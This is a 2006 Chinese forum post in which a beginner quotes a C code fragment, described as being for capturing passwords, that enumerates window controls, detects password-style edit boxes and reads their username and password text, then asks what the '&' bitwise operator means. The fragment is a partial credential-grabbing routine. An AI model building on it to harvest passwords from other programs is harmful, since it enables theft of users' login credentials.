-
-
[已解决]C语言问题求助[求助]
-
发表于:
2006-7-22 18:10
4732
-
我没有学过C,在网上看见一好的代码(截取密码用)
部分如下;
===============================
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
char lp[32];
GetClassName(hwnd,lp,32);
if (String(lp)=="Edit")
{ LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE
if((style&ES_PASSWORD)!=ES_PASSWORD) //不是密码框
{
SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->username); //得到username
return false;
}
if((style&ES_PASSWORD)==ES_PASSWORD) //是密码框
{SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->psw); //得到psw
return true;
}
}
=============================
我本来想把它翻译成汇编或易语言,但遇到一点问题:
if((style&ES_PASSWORD)!=ES_PASSWORD)
这句里的"&"操作符是什么意思?
请C高手解答,谢谢!
[课程]Android-CTF解题方法汇总!